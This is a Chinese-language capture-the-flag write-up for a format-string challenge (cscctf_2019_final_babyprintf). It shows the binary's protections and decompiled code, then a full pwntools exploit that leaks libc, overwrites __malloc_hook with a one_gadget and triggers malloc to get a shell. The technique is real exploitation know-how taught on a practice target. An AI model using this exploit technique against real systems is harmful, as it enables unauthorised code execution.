从名字看是个formatstring漏洞题,先看保护:
/buuctf/383_cscctf_2019_final_babyprintf/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
保护基本全开,formatstring用不着canary
再看题目:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char *v3; // rax
int i; // [rsp+Ch] [rbp-114h]
char s[264]; // [rsp+10h] [rbp-110h] BYREF //s在栈里就好办了
unsigned __int64 v6; // [rsp+118h] [rbp-8h]
v6 = __readfsqword(0x28u);
init();
for ( i = 0; i <= 2; ++i ) //可以作3次
{
v3 = fgets(s, 256, stdin);
printf(v3);
}
exit(0); //然后是exit 是return
}
程序很短,执行3次然后exit。
一般情况下ret和got比较容易搞,直接改就行了,这里开了全保护got不可写,也不去执行ret,只能走第3个方法malloc_hook :
printf在调用输出里会先组织好串,然后再输出,这时候这个串会申请堆空间——malloc,malloc又会调用malloc_hook。这题就这么一个卡点
步骤:
- 泄露libc地址,计算one_gadget
- 修改malloc_hook
- 输入长串触发malloc
from pwn import *
elf = ELF('./pwn')
context.arch = 'amd64'
local = 0
if local == 1:
p = process('./pwn')
libc_elf = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
one = [0x4240e, 0x42462, 0xc4f7f, 0xe31fa, 0xe31ee]
libc_start_main_ret = 0x21a87
else:
p = remote('node4.buuoj.cn', 29367)
libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
context.log_level = 'debug'
#AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
offset = 8
p.sendline(b'%43$p,%42$p')
libc_base = int(p.recvuntil(b',', drop=True) ,16) - libc_start_main_ret
malloc_hook = libc_base + libc_elf.sym['__malloc_hook']
one_gadget = libc_base + one[7] #local 4 remote 1,3,7
print('libc:', hex(libc_base))
pwn_base = int(p.recvline()[:-1] ,16) - elf.sym['__libc_csu_init'] #no use
print('pwn:', hex(pwn_base))
sleep(0.5)
payload = fmtstr_payload(8, {malloc_hook: one_gadget})
p.sendline(payload)
sleep(1)
p.sendline(b'%100000c') #>=65505 call malloc ->malloc_hook
sleep(1)
p.sendline(b'cat /flag')
p.interactive()